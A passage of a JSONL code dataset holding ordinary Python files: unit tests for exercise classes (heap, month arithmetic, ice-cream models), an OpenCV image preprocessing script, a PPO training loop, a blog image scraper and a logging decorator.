'transactions',\n            'name',\n        } | set(dir(type('', (), {})()))\n        self.assertEqual(set(dir(account)) - allowed, set())\n\n\nclass Item:\n\n    __slots__ = ('id', 'name', 'color', 'version')\n\n    def __init__(self, id, name, color, version):\n        self.id = id\n        self.name = name\n        self.color = color\n        self.version = version\n\n    @property\n    def _values(self):\n        return (self.id, self.name, self.color, self.version)\n\n    def __hash__(self):\n        return hash(self._values)\n\n    def __eq__(self, other):\n        if not isinstance(other, Item):\n            return NotImplemented\n        return self._values == other._values\n\n    def __repr__(self):\n        return f\"Item{self._values!r}\"\n\n\nclass SuperMapTests(unittest.TestCase):\n\n    \"\"\"Tests for SuperMap.\"\"\"\n\n    def test_where_method(self):\n        few_items = [\n            Item(i, \"\".join(next(names)), next(colors), random.randint(0, 5))\n            for i in range(10_000, 10_100)\n        ]\n        mapping = SuperMap(few_items, indexes=('id', 'color'))\n        matches = mapping.where('color', \"pink\")\n        self.assertEqual(set(matches), {\n            item\n            for item in few_items\n            if item.color == \"pink\"\n        })\n        matches = mapping.where('id', 4)\n        self.assertEqual(len(matches), 0)\n        matches = mapping.where('id', 10_050)\n        self.assertEqual(len(matches), 1)\n\n    def test_time_efficient_lookups(self):\n        many_items = [\n            Item(i, \"\".join(next(names)), next(colors), random.randint(0, 5))\n            for i in range(2_000)\n        ]\n        mapping = SuperMap(many_items, indexes=('id', 'color'))\n        with Timer() as manual_lookup:\n            items1 = {\n                item\n                for item in many_items\n                if item.color == \"pink\"\n            }\n        with Timer() as lookup_from_map:\n            items2 = mapping.where('color', \"pink\")\n        self.assertEqual(len(items1), len(items2))\n        self.assertEqual(set(items1), items2)\n        self.assertGreater(\n            manual_lookup.elapsed,\n            lookup_from_map.elapsed * 5,\n        )\n\n\nclass MinHeapTests(unittest.TestCase):\n\n    \"\"\"Tests for MinHeap.\"\"\"\n\n    @classmethod\n    def setUpClass(cls):\n        cls.big_numbers = [\n            3748, 7250, 140, 7669, 5711, 2284, 3322, 6435, 8138, 6920, 9634, 7511,\n            5295, 5456, 7458, 5618, 102, 7747, 4638, 46, 4532, 1483, 944, 3542, 6641,\n            9091, 693, 836, 3099, 3385, 7798, 758, 8407, 4756, 8801, 3936, 5301, 5744,\n            6454, 1156, 7686, 5664, 2568, 6414, 3469, 2867, 8875, 6097, 2546, 4658,\n            7027, 9437, 755, 8536, 8186, 9539, 661, 6706, 265, 2254, 2402, 3355, 9141,\n            5091, 1727, 6739, 4599, 5599, 9007, 2925, 2894, 5333, 9586, 7409, 916,\n            6420, 8493, 9531, 5083, 5350, 3346, 1378, 6260, 3143, 7216, 684, 170, 6721,\n            418, 7013, 7729, 7484, 5355, 4850, 8073, 1389, 2084, 1856, 9740, 2747,\n        ]\n\n    def test_create_heap(self):\n        MinHeap([322, 76, 4, 7, 2, 123, 47, 1, 18, 3, 29, 199, 11])\n        MinHeap(self.big_numbers)\n\n    def test_peek_at_smallest(self):\n        numbers = [11, 322, 3, 199, 29, 7, 1, 18, 76, 4, 2, 47, 123]\n        h = MinHeap(numbers)\n        self.assertEqual(h.peek(), 1)\n        i = MinHeap(self.big_numbers)\n        self.assertEqual(i.peek(), 46)\n\n    def test_pop_from_heap(self):\n        numbers = [11, 322, 3, 199, 29, 7, 1, 18, 76, 4, 2, 47, 123]\n        h = MinHeap(numbers)\n        self.assertEqual(h.pop(), 1)\n        self.assertEqual(h.pop(), 2)\n        self.assertEqual(h.pop(), 3)\n        self.assertEqual(h.pop(), 4)\n        self.assertEqual(h.pop(), 7)\n        self.assertEqual(h.pop(), 11)\n        i = MinHeap(self.big_numbers)\n        self.assertEqual(i.pop(), 46)\n\n    def test_push_onto_heap(self):\n        numbers = [11, 322, 3, 199, 29, 7, 1, 18, 76, 4, 2, 47, 123]\n        i = MinHeap(self.big_numbers)\n        i.push(17)\n        self.assertEqual(i.peek(), 17)\n        i.push(24)\n        self.assertEqual(i.pop(), 17)\n        self.assertEqual(i.pop(), 24)\n        self.assertEqual(i.pop(), 46)\n        h = MinHeap(numbers)\n        h.push(6)\n        self.assertEqual(h.pop(), 1)\n        self.assertEqual(h.pop(), 2)\n        self.assertEqual(h.pop(), 3)\n        self.assertEqual(h.pop(), 4)\n        self.assertEqual(h.pop(), 6)\n\n    def test_faster_than_sorting(self):\n        many_big_numbers = [random.randint(100, 1000) for n in range(10000)]\n        with Timer() as sort_timer:\n            sorted(many_big_numbers)\n        heap = MinHeap(many_big_numbers)\n        with Timer() as min_heap_timer:\n            heap.push(150)\n            heap.push(950)\n            heap.push(400)\n            heap.push(760)\n            heap.push(280)\n            heap.push(870)\n            heap.push(330)\n            heap.push(1000)\n            heap.push(50)\n            heap.push(500)\n            items = [heap.pop() for _ in range(10)]\n        self.assertEqual(len(items), 10)\n        self.assertLess(min_heap_timer.elapsed, sort_timer.elapsed)\n\n\nclass FlavorTests(unittest.TestCase):\n\n    \"\"\"Tests for Flavor.\"\"\"\n\n    def test_name_attribute(self):\n        flavor = Flavor(\"vanilla\")\n        self.assertEqual(flavor.name, \"vanilla\")\n\n    def test_specifying_ingredients(self):\n        flavor = Flavor(\"vanilla\", ingredients=[\"milk\", \"sugar\", \"vanilla\"])\n        self.assertEqual(flavor.ingredients, [\"milk\", \"sugar\", \"vanilla\"])\n        flavor = Flavor(\"chocolate\",\n                        ingredients=[\"milk\", \"sugar\", \"vanilla\", \"chocolate\"])\n        self.assertEqual(\n            flavor.ingredients,\n            [\"milk\", \"sugar\", \"vanilla\", \"chocolate\"],\n        )\n\n    def test_modifying_ingredients(self):\n        original_ingredients = [\"milk\", \"sugar\", \"vanilla\"]\n        flavor = Flavor(\"vanilla\", ingredients=original_ingredients)\n        flavor.ingredients.append(\"red bean\")\n        self.assertEqual(original_ingredients, [\"milk\", \"sugar\", \"vanilla\"])\n\n    def test_has_dairy_attribute(self):\n        flavor = Flavor(\"vanilla\")\n        self.assertIs(flavor.has_dairy, True)\n        flavor = Flavor(\"vanilla\", has_dairy=True)\n        self.assertIs(flavor.has_dairy, True)\n        flavor = Flavor(\"vanilla\", has_dairy=False)\n        self.assertIs(flavor.has_dairy, False)\n\n    def test_string_representation(self):\n        flavor = Flavor(\"chocolate\", has_dairy=False)\n        self.assertEqual(repr(flavor), \"Flavor(name='chocolate', ingredients=[], has_dairy=False)\")\n        flavor = Flavor(\"vanilla\", ingredients=[\"milk\", \"sugar\", \"vanilla\"])\n        self.assertEqual(\n            repr(flavor),\n            \"Flavor(name='vanilla', ingredients=['milk', 'sugar', 'vanilla'], has_dairy=True)\",\n        )\n\n\nclass SizeTests(unittest.TestCase):\n\n    \"\"\"Tests for Size.\"\"\"\n\n    def test_initializer(self):\n        size = Size(quantity=1, unit=\"gram\", price=\"5.00\")\n        self.assertEqual(size.quantity, 1)\n        self.assertEqual(size.unit, \"gram\")\n        self.assertEqual(size.price, \"5.00\")\n\n    def test_human_string_representation(self):\n        size = Size(quantity=1, unit=\"gram\", price=\"5.00\")\n        self.assertEqual(str(size), \"1 gram\")\n        size = Size(quantity=1, unit=\"scoop\", price=\"5.00\")\n        self.assertEqual(str(size), \"1 scoop\")\n\n    def test_pluralization(self):\n        size = Size(quantity=3, unit=\"pint\", price=\"9.00\")\n        self.assertEqual(str(size), \"3 pints\")\n        size = Size(quantity=3, unit=\"scoop\", price=\"4.00\")\n        self.assertEqual(str(size), \"3 scoops\")\n\n    def test_machine_string_representation(self):\n        size = Size(quantity=1, unit=\"cup\", price=\"5\")\n        self.assertEqual(repr(size), \"Size(quantity=1, unit='cup', price='5')\")\n\n\nclass IceCreamTests(unittest.TestCase):\n\n    \"\"\"Tests for IceCream.\"\"\"\n\n    def test_initializer(self):\n        one_quart = Size(quantity=1, unit=\"quart\", price=\"$9\")\n        vanilla = Flavor(\"vanilla\")\n        quart_of_vanilla = IceCream(flavor=vanilla, size=one_quart)\n        self.assertEqual(quart_of_vanilla.size, one_quart)\n        self.assertEqual(quart_of_vanilla.flavor, vanilla)\n\n    def test_string_representation(self):\n        one_quart = Size(quantity=1, unit=\"quart\", price=\"$9\")\n        vanilla = Flavor(\"vanilla\")\n        quart_of_vanilla = IceCream(flavor=vanilla, size=one_quart)\n        self.assertEqual(str(quart_of_vanilla), '1 quart of vanilla')\n        self.assertEqual(str(quart_of_vanilla), '1 quart of vanilla')\n        two_scoops = IceCream(\n            flavor=Flavor(\"chocolate\"),\n            size=Size(quantity=2, unit=\"scoop\", price=\"$3\"),\n        )\n        self.assertEqual(str(two_scoops), '2 scoops of chocolate')\n\n\nclass MonthTests(unittest.TestCase):\n\n    \"\"\"Tests for Month.\"\"\"\n\n    def test_initialization(self):\n        month = Month(2019, 1)\n        self.assertEqual(month.year, 2019)\n        self.assertEqual(month.month, 1)\n\n    def test_machine_readable_representation(self):\n        month = Month(2019, 1)\n        self.assertEqual(repr(month), 'Month(year=2019, month=1)')\n\n    def test_human_readable_representation(self):\n        month = Month(2019, 1)\n        self.assertEqual(str(month), '2019-01')\n\n    def test_string_representations(self):\n        python2_eol = Month(2020, 1)\n        self.assertEqual(str(python2_eol), \"2020-01\")\n        new_month = eval(repr(python2_eol))\n        self.assertEqual(new_month.year, python2_eol.year)\n        self.assertEqual(new_month.month, python2_eol.month)\n\n    def test_first_method(self):\n        python2_eol = Month(2020, 1)\n        eol_date = python2_eol.first()\n        self.assertEqual(eol_date.year, 2020)\n        self.assertEqual(eol_date.month, 1)\n        self.assertEqual(eol_date.day, 1)\n        self.assertEqual(str(eol_date), '2020-01-01')\n        self.assertEqual(str(eol_date - timedelta(days=1)), '2019-12-31')\n\n    @unittest.skip(\"Comparable Month\")\n    def test_equality(self):\n        python2_eol = Month(2020, 1)\n        self.assertEqual(python2_eol, Month(2020, 1))\n        self.assertNotEqual(python2_eol, Month(2020, 2))\n        self.assertNotEqual(python2_eol, Month(2019, 1))\n        self.assertFalse(python2_eol != Month(2020, 1))\n        self.assertFalse(python2_eol == Month(2020, 2))\n        self.assertNotEqual(python2_eol, date(2020, 1, 1))\n        self.assertNotEqual(python2_eol, (2020, 1))\n        self.assertNotEqual((2020, 1), python2_eol)  # tuples aren't months\n\n    @unittest.skip(\"Comparable Month\")\n    def test_ordering(self):\n        python2_eol = Month(2020, 1)\n        pycon_2019 = Month(2019, 5)\n        self.assertLess(pycon_2019, python2_eol)\n        self.assertGreater(python2_eol, pycon_2019)\n        self.assertLessEqual(pycon_2019, python2_eol)\n        self.assertGreaterEqual(python2_eol, pycon_2019)\n        self.assertFalse(pycon_2019 > python2_eol)\n        self.assertFalse(pycon_2019 >= python2_eol)\n        self.assertFalse(python2_eol < pycon_2019)\n        self.assertFalse(python2_eol <= pycon_2019)\n        with self.assertRaises(TypeError):\n            python2_eol < (2021, 12)  # tuples aren't months\n        with self.assertRaises(TypeError):\n            python2_eol >= (2021, 12)  # tuples aren't months\n        with self.assertRaises(TypeError):\n            (2021, 12) < python2_eol  # tuples aren't months\n\n    @unittest.skip(\"Month Formatting\")\n    def test_formatting(self):\n        python2_eol = Month(2020, 1)\n        leap_month = Month(2000, 2)\n        self.assertEqual(\"{:%Y-%m}\".format(python2_eol), \"2020-01\")\n        with set_locale('C'):\n            self.assertEqual(\"{0:%b %Y}\".format(leap_month), \"Feb 2000\")\n            self.assertEqual(\"{:%b %Y}\".format(python2_eol), \"Jan 2020\")\n\n    @unittest.skip(\"Month from_date\")\n    def test_from_date(self):\n        python2_eol = Month.from_date(date(2020, 1, 1))\n        self.assertEqual(python2_eol, Month(2020, 1))\n        leap_month = Month.from_date(date(2000, 2, 29))\n        self.assertEqual(leap_month, Month(2000, 2))\n\n    @unittest.skip(\"Memory-Efficient Month\")\n    def test_memory_efficient(self):\n        python2_eol = Month(2020, 1)\n        with self.assertRaises(Exception):\n            python2_eol.__dict__\n\n\n@contextmanager\ndef set_locale(name):\n    saved = setlocale(LC_TIME)\n    try:\n        yield setlocale(LC_TIME, name)\n    finally:\n        setlocale(LC_TIME, saved)\n\n\nclass MonthDeltaTests(unittest.TestCase):\n\n    \"\"\"Tests for MonthDelta.\"\"\"\n\n    def test_initializer(self):\n        four_months = MonthDelta(4)\n        self.assertEqual(four_months.months, 4)\n\n    def test_equality(self):\n        self.assertEqual(MonthDelta(12), MonthDelta(12))\n        self.assertNotEqual(MonthDelta(11), MonthDelta(12))\n        self.assertIs(MonthDelta(12) != MonthDelta(12), False)\n        self.assertIs(MonthDelta(11) == MonthDelta(12), False)\n        self.assertIs(MonthDelta(0) == timedelta(0), False)\n        self.assertIs(MonthDelta(0) == 0, False)\n        self.assertIs(MonthDelta(6) == 6, False)\n\n    def test_adding_month_delta_to_unknown_value(self):\n        with self.assertRaises(TypeError):\n            MonthDelta(4) + 8\n        with self.assertRaises(TypeError):\n            8 + MonthDelta(4)\n\n    def test_adding_and_subtracting_with_monthdeltas(self):\n        self.assertEqual(MonthDelta(4) + MonthDelta(2), MonthDelta(6))\n        self.assertEqual(MonthDelta(4) - MonthDelta(2), MonthDelta(2))\n        with self.assertRaises(TypeError):\n            MonthDelta(4) - 8\n        with self.assertRaises(TypeError):\n            8 - MonthDelta(4)\n\n    def test_month_arithmetic_with_month_deltas(self):\n        python2_eol = Month(2020, 1)\n        python2_release = Month(2000, 10)\n        python2_lifetime = MonthDelta(231)\n        self.assertEqual(python2_eol + MonthDelta(4), Month(2020, 5))\n        self.assertEqual(MonthDelta(13) + python2_eol, Month(2021, 2))\n        self.assertEqual(python2_eol - MonthDelta(4), Month(2019, 9))\n        self.assertEqual(python2_eol - MonthDelta(13), Month(2018, 12))\n        self.assertEqual(python2_release + python2_lifetime, python2_eol)\n\n    def test_month_subtracting_months(self):\n        python2_eol = Month(2020, 1)\n        python2_release = Month(2000, 10)\n        python2_lifetime = python2_eol - python2_release\n        self.assertEqual(python2_lifetime, MonthDelta(20*12 - 9))\n\n    def test_month_arithmetic_with_other_types(self):\n        python2_eol = Month(2020, 1)\n        python2_release = Month(2000, 10)\n        python2_lifetime = python2_eol - python2_release\n        with self.assertRaises(TypeError):\n            python2_eol + python2_release\n        with self.assertRaises(TypeError):\n            python2_eol * python2_release\n        with self.assertRaises(TypeError):\n            python2_eol * python2_lifetime\n        with self.assertRaises(TypeError):\n            python2_lifetime - python2_eol\n        with self.assertRaises(TypeError):\n            python2_eol - date(1999, 12, 1)\n\n    @unittest.skip(\"MonthDelta Arithmetic\")\n    def test_scaling_and_division(self):\n        self.assertEqual(MonthDelta(4) * 2, MonthDelta(8))\n        self.assertEqual(2 * MonthDelta(4), MonthDelta(8))\n        self.assertEqual(MonthDelta(4) / MonthDelta(2), 2)\n        self.assertEqual(MonthDelta(18) // 12, MonthDelta(1))\n        self.assertEqual(MonthDelta(18) // MonthDelta(12), 1)\n        self.assertEqual(MonthDelta(18) % MonthDelta(12), 6)\n        self.assertEqual(MonthDelta(18) % 12, MonthDelta(6))\n        self.assertEqual(-MonthDelta(18), MonthDelta(-18))\n        with self.assertRaises(TypeError):\n            MonthDelta(4) * \"a\"\n        with self.assertRaises(TypeError):\n            MonthDelta(4) * 2.0\n        with self.assertRaises(TypeError):\n            MonthDelta(4) / 2.0\n        with self.assertRaises(TypeError):\n            MonthDelta(4) * MonthDelta(2)\n        with self.assertRaises(TypeError):\n            MonthDelta(4) % 0.5\n\n\nclass RowTests(unittest.TestCase):\n\n    \"\"\"Tests for Row.\"\"\"\n\n    def test_no_arguments(self):\n        row = Row()\n        attributes = {x for x in dir(row) if not x.startswith('__')}\n        self.assertEqual(attributes, set())\n\n    def test_single_argument(self):\n        row = Row(a=1)\n        self.assertEqual(row.a, 1)\n        attributes = {x for x in dir(row) if not x.startswith('__')}\n        self.assertEqual(attributes, {'a'})\n\n    def test_two_arguments(self):\n        row = Row(a=1, b=2)\n        self.assertEqual(row.a, 1)\n        self.assertEqual(row.b, 2)\n        attributes = {x for x in dir(row) if not x.startswith('__')}\n        self.assertEqual(attributes, {'a', 'b'})\n\n    def test_many_arguments(self):\n        row = Row(thing='a', item=2, stuff=True)\n        self.assertEqual(row.thing, 'a')\n        self.assertEqual(row.item, 2)\n        self.assertEqual(row.stuff, True)\n        attributes = {x for x in dir(row) if not x.startswith('__')}\n        self.assertEqual(attributes, {'thing', 'item', 'stuff'})\n\n    def test_no_positional_arguments_accepted(self):\n        with self.assertRaises(Exception):\n            Row(1, 2)\n        with self.assertRaises(Exception):\n            Row(1)\n\n\nclass Timer:\n\n    \"\"\"Context manager to time a code block.\"\"\"\n\n    def __enter__(self):\n        self.start = default_timer()\n        return self\n\n    def __exit__(self, *args):\n        self.end = default_timer()\n        self.elapsed = self.end - self.start\n\n\nif __name__ == \"__main__\":\n    from helpers import error_message\n    error_message()\n","sub_path":"exercises/classes_test.py","file_name":"classes_test.py","file_ext":"py","file_size_in_byte":22624,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"156794080","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Mar 31 18:32:52 2018\r\n\r\n@author: Vaibhav\r\n\"\"\"\r\n\r\nimport cv2 as cv\r\nimport glob\r\n\r\n#Preprocessing cats images\r\n\r\nimages_cat = [cv.imread(file,0) for file in glob.glob(\"dataset/test_set/cats/*.jpg\")]\r\n\r\nmodified_cat =[]\r\nfor i in range(0,len(images_cat)) :\r\n    blur = cv.GaussianBlur(images_cat[i],(5,5),0)\r\n    th3 = cv.adaptiveThreshold(blur,255,cv.ADAPTIVE_THRESH_GAUSSIAN_C,\\\r\n                           cv.THRESH_BINARY,11,2)    \r\n    modified_cat.append(th3)\r\n\r\n#Writing preprocessed cats images on disk\r\n    \r\ni=0\r\nfor j in range(0,len(modified_cat)):\r\n    cv.imwrite('dataset/test_set/mod/modcat/pic{:>05}.jpg'.format(i), modified_cat[j])\r\n    i += 1\r\n    \r\n#Preprocessing dogs images\r\n    \r\nimages_dog = [cv.imread(file,0) for file in glob.glob(\"dataset/test_set/dogs/*.jpg\")]\r\n\r\nmodified_dog =[]\r\nfor i in range(0,len(images_dog)) :\r\n    blur = cv.GaussianBlur(images_dog[i],(5,5),0)\r\n    th3 = cv.adaptiveThreshold(blur,255,cv.ADAPTIVE_THRESH_GAUSSIAN_C,\\\r\n                           cv.THRESH_BINARY,11,2)    \r\n    modified_dog.append(th3)\r\n\r\n#Writing preprocessed dogs images on disk\r\n    \r\ni=0\r\nfor j in range(0,len(modified_dog)):\r\n    cv.imwrite('dataset/test_set/mod/moddog/pic{:>05}.jpg'.format(i), modified_dog[j])\r\n    i += 1","sub_path":"PrepTestSet.py","file_name":"PrepTestSet.py","file_ext":"py","file_size_in_byte":1289,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"249728736","text":"import torch\nimport torch.optim as optim\n\nimport pandas as pd\nimport numpy as np\nimport datetime, os, random\n\nfrom parameters import hyperparameters as p\nfrom parameters import settings\t\n\ndef manager(agent, envs):\n\tagent.eval()\n\tgoals, obs = envs.reset()\n\tdones = torch.FloatTensor([0 for _ in obs])\n\t\n\tfor idx in range(p.N_steps):\n\t\tactions, values, neglogpacs = agent.step(obs, goals)\n\n\t\ttry:\n\t\t\tmb_obs = torch.cat((mb_obs, obs.view(1, obs.shape[0], obs.shape[1])))\n\t\t\tmb_goals = torch.cat((mb_goals, goals.view(1, goals.shape[0], goals.shape[1])))\n\t\t\tmb_actions = torch.cat((mb_actions, actions.view(1, actions.shape[0], actions.shape[1])))\n\t\t\tmb_values = torch.cat((mb_values, values.view(1, values.shape[0])))\n\t\t\tmb_neglogpacs = torch.cat((mb_neglogpacs, neglogpacs.view(1, neglogpacs.shape[0])))\n\t\t\tmb_dones = torch.cat((mb_dones, dones.view(1, dones.shape[0])))\n\n\t\texcept NameError:\n\t\t\tmb_obs = obs.view(1, obs.shape[0], obs.shape[1])\n\t\t\tmb_goals = goals.view(1, goals.shape[0], goals.shape[1])\n\t\t\tmb_actions = actions.view(1, actions.shape[0], actions.shape[1])\n\t\t\tmb_values = values.view(1, values.shape[0])\n\t\t\tmb_neglogpacs = neglogpacs.view(1, neglogpacs.shape[0])\n\t\t\tmb_dones = dones.view(1, dones.shape[0])\n\n\t\tgoals, obs, rewards, dones = envs.step(actions)\n\t\ttry:\n\t\t\tmb_rewards = torch.cat((mb_rewards, rewards.view(1, rewards.shape[0])))\n\t\texcept NameError:\n\t\t\tmb_rewards = rewards.view(1, rewards.shape[0])\n\n\t\tif idx == p.N_steps-1:\n\t\t\t_, last_values, _ = agent.step(obs, goals)\n\n\tmb_advs = torch.zeros_like(mb_rewards)\n\tmb_returns = mb_advs\n\n\t#Calculating GAE\n\tlastgaelam = torch.zeros_like(mb_values[0])\n\tfor t in reversed(range(p.N_steps)):\n\t\tif t == p.N_steps - 1:\n\t\t\tnextnonterminal = 1.0 - mb_dones[-1]\n\t\t\tnextvalue = last_values\n\t\telse:\n\t\t\tnextnonterminal = 1.0 - mb_dones[t+1]\n\t\t\tnextvalue = mb_values[t+1]\n\t\tdelta = mb_rewards[t] + (p.gamma*nextvalue*nextnonterminal) - mb_values[t]\n\t\tmb_advs[t] = lastgaelam = delta + (p.gamma*p.lam*nextnonterminal*lastgaelam)\n\tmb_returns = mb_advs + mb_values\n\t\n\treturn mb_obs.cuda(), mb_actions.cuda(), mb_goals.cuda(), mb_values.cuda(), mb_neglogpacs.cuda(), mb_returns.cuda(), mb_rewards\n\ndef trainer(envs, agent, seed):\n\n\tdef constfn(val):\n\t\tdef f(_):\n\t\t\treturn val\n\t\treturn f\n\n\tdef indexSelect(objects, start, end):\n\t\tindexes = torch.LongTensor(inds[start:end]).cuda()\n\t\ttemp = []\n\t\tfor Object in objects:\n\t\t\ttemp.append(torch.index_select(Object, 0, indexes, out=None))\n\t\treturn temp\n\n\tif isinstance(p.lr, float): lr=constfn(p.lr)\n\tif isinstance(p.cliprange, float): cliprange = constfn(p.cliprange)\n\n\tif settings.mode not in [\"train\", \"train_6\"]:\n\t\tp.N_updates = 500\n\n\telif settings.mode == \"train_6\":\n\t\tp.N_updates = 150\n\n\tt_start = datetime.datetime.now()\n\tfor update in range(p.N_updates):\n\t\tobs, actions, goals, values, neglogpacs, returns, rewards = manager(agent, envs)\n\t\t\n\t\trewards = rewards.sum(dim=0)\n\t\trewards = rewards\n\n\t\tif not seed:\n\t\t\tif not update%5:\n\t\t\t\tos.system(\"clear\")\n\t\t\t\tpercent = round((100*(update+1)/p.N_updates),2)\n\t\t\t\tdone = \"|\"*int(percent/2)\n\t\t\t\tremaining = \"-\" * (50 - len(done))\n\t\t\t\teta = (100-percent) * ((datetime.datetime.now()-t_start)/percent)\n\t\t\t\tprint(\"Mode: \" + settings.mode + \"\\tETA: {}\".format(str(eta).split(\".\")[0]))\n\t\t\t\tprint(\"|\" + done + remaining + \"| {}%\".format(round(percent, 2)))\n\n\t\tif not update:\n\t\t\tall_rewards = rewards.view(1, rewards.shape[0])\n\t\telse:\n\t\t\tall_rewards = torch.cat((all_rewards, rewards.view(1, rewards.shape[0])))\n\n\t\tif settings.mode in [\"train\", \"train_6\"]:\n\n\t\t\tfrac = 1.0 - (update+1)/p.N_updates\n\t\t\tlrnow = lr(frac)\n\t\t\tcliprangenow = cliprange(frac)\n\t\t\toptimizer = optim.Adam(agent.parameters(), lr=lrnow)\n\n\t\t\tagent.train()\n\t\t\tinds = np.arange(p.N_steps)\n\t\t\tnp.random.shuffle(inds)\n\n\t\t\tfor start in range(0, p.N_steps, p.batch_size):\n\t\t\t\tend = start + p.batch_size\n\n\t\t\t\tobs_, goals_, returns_, actions_, values_, neglogpacs_ = indexSelect([obs, goals, returns, actions, values, neglogpacs], start, end)\n\t\t\t\tadvs_ = returns_ - values_\n\t\t\t\tadvs_ = (advs_ - advs_.mean()) / (advs_.std() + 1e-8)\n\n\t\t\t\toptimizer.zero_grad()\n\t\t\t\tneglogp, entropy, vpred = agent.statistics(obs_, goals_ , actions_)\n\t\t\t\tentropy = torch.mean(entropy, dim=-2)\n\t\t\t\tvpred_clip = values_ + torch.clamp(vpred - values_, -cliprangenow, cliprangenow)\n\n\t\t\t\tvf_loss = torch.max((vpred - returns_) ** 2, (vpred_clip - returns_) ** 2)\n\t\t\t\tvf_loss = 0.5 * torch.mean(vf_loss)\n\n\t\t\t\tratio = torch.exp(neglogpacs_ - neglogp)\n\t\t\t\tpg_loss = torch.max(- advs_ * ratio, - advs_ * torch.clamp(ratio, 1.0-cliprangenow, 1.0+cliprangenow))\n\t\t\t\tpg_loss = torch.mean(pg_loss)\n\n\t\t\t\tloss = (pg_loss - entropy * p.entropy_coef + vf_loss * p.vf_coef).sum()/len(envs.envs)\n\t\t\t\tloss.backward()\n\t\t\t\toptimizer.step()\n\n\tif settings.mode == \"train\":\n\t\ttorch.save(agent.state_dict(), \"seed_\"+str(seed))\n\n\telif settings.mode == \"train_6\":\n\t\ttorch.save(agent.state_dict(), \"_6x_seed_\"+str(seed))\n\n\tdi = {}\n\tfor i in range(len(envs.envs)):\n\t\tenv = envs.envs[i]\n\t\tdi[env.name + \"_seed_{}\".format(seed)] = all_rewards[:,i]\n\tframe = pd.DataFrame(di)\n\treturn frame","sub_path":"1. Reacher/CASNET_Policy/trainer.py","file_name":"trainer.py","file_ext":"py","file_size_in_byte":5037,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"450158878","text":"import requests\nfrom pyquery import PyQuery as pq\nimport re\nimport os\n\ninvalid_str = r\"[\\/\\\\\\:\\*\\?\\\"\\<\\>\\|]\"\nurl_prefix = 'http://jipx.tistory.com/search/{}?page={}'\ndetail_prefix = 'http://jipx.tistory.com{}'\nheaders = {\n    \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36\"\n}\n\n\ndef show_guide():\n    print('**** -----------')\n    print(\"**** insert 'quit' to quit program\")\n    print('**** -----------')\n\n\ndef start_request(format_name, page, idol_name):\n    url = url_prefix.format(format_name, page)\n    resp = requests.get(url, headers=headers)\n    e = pq(resp.content)\n    items = e('.link_post')\n    magazines = [list_page_spider(i, idol_name) for i in items]\n    details = [detail_page_spider(i, idol_name) for i in magazines]\n\n    next_page = re.findall('\"NEXT_PAGE\":\".*\"?page=\\d', resp.content.decode(encoding='utf-8'))\n    if len(next_page) != 0:\n        n_page = next_page[0].split('=')[-1]\n        start_request(format_name, n_page, idol_name)\n\n\ndef list_page_spider(div, idol_name):\n    e = pq(div)\n    url = e.attr('href')\n    title = e('.tit_post').text()\n    res = dict()\n    res['url'] = detail_prefix.format(url)\n    res['title'] = title\n    return res\n\n\ndef detail_page_spider(dic, idol_name):\n    print('spider now:', dic['title'])\n    resp = requests.get(dic['url'], headers=headers)\n    e = pq(resp.content)\n    items = e('.imageblock')\n    for k, i in enumerate(items):\n        ei = pq(i)\n        image_url = ei('img').attr('src')\n        save_to_file(k, image_url, dic['title'], idol_name)\n    print('spider finished')\n\n\ndef save_to_file(count, image_url, file_name, idol_name):\n    file_name = re.sub(invalid_str, ' ', file_name)\n    file_name = os.path.join(idol_name, file_name)\n    if not os.path.exists(file_name):\n        os.makedirs(file_name)\n    f_name = '{}.jpg'.format(count)\n    path = os.path.join(file_name, f_name)\n    r = requests.get(image_url, headers=headers)\n    with open(path, 'ab') as f:\n        f.write(r.content)\n\n\nif __name__ == '__main__':\n    show_guide()\n    while True:\n        idol_name = input('insert name here:')\n        if len(idol_name) == 0:\n            continue\n        if idol_name == 'quit':\n            break\n        idol_name = idol_name.lstrip(' ')\n        idol_name = idol_name.rstrip(' ')\n        if not os.path.exists(idol_name):\n            os.makedirs(idol_name)\n        format_name = idol_name.replace(\" \", \"%20\")\n        print(format_name)\n        start_request(format_name, 1, idol_name)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2545,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"348785333","text":"\"\"\"\nworkflow.py - Module that provides workflow decorator\n\"\"\"\nimport logging\n\n\ndef workflow(func, **kwargs):\n    \"\"\"\n    Desc\n    :param func:\n    :param kwargs:\n    :return:\n    \"\"\"\n    def inner(*args, **kwargs):\n        \"\"\"\n        Desc\n        :param args:\n        :param kwargs:\n        :return:\n        \"\"\"\n        logging.debug(\"workflow args: %s %s\",str(args), str(kwargs))\n\n        if 'cpu' in kwargs:\n            del kwargs['cpu']\n\n        _workflow = func(*args, **kwargs)\n        # added QoS implementation here\n        logging.debug(\"Inside the workflow\")\n        return _workflow\n\n    return inner\n","sub_path":"entangle/workflow.py","file_name":"workflow.py","file_ext":"py","file_size_in_byte":612,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
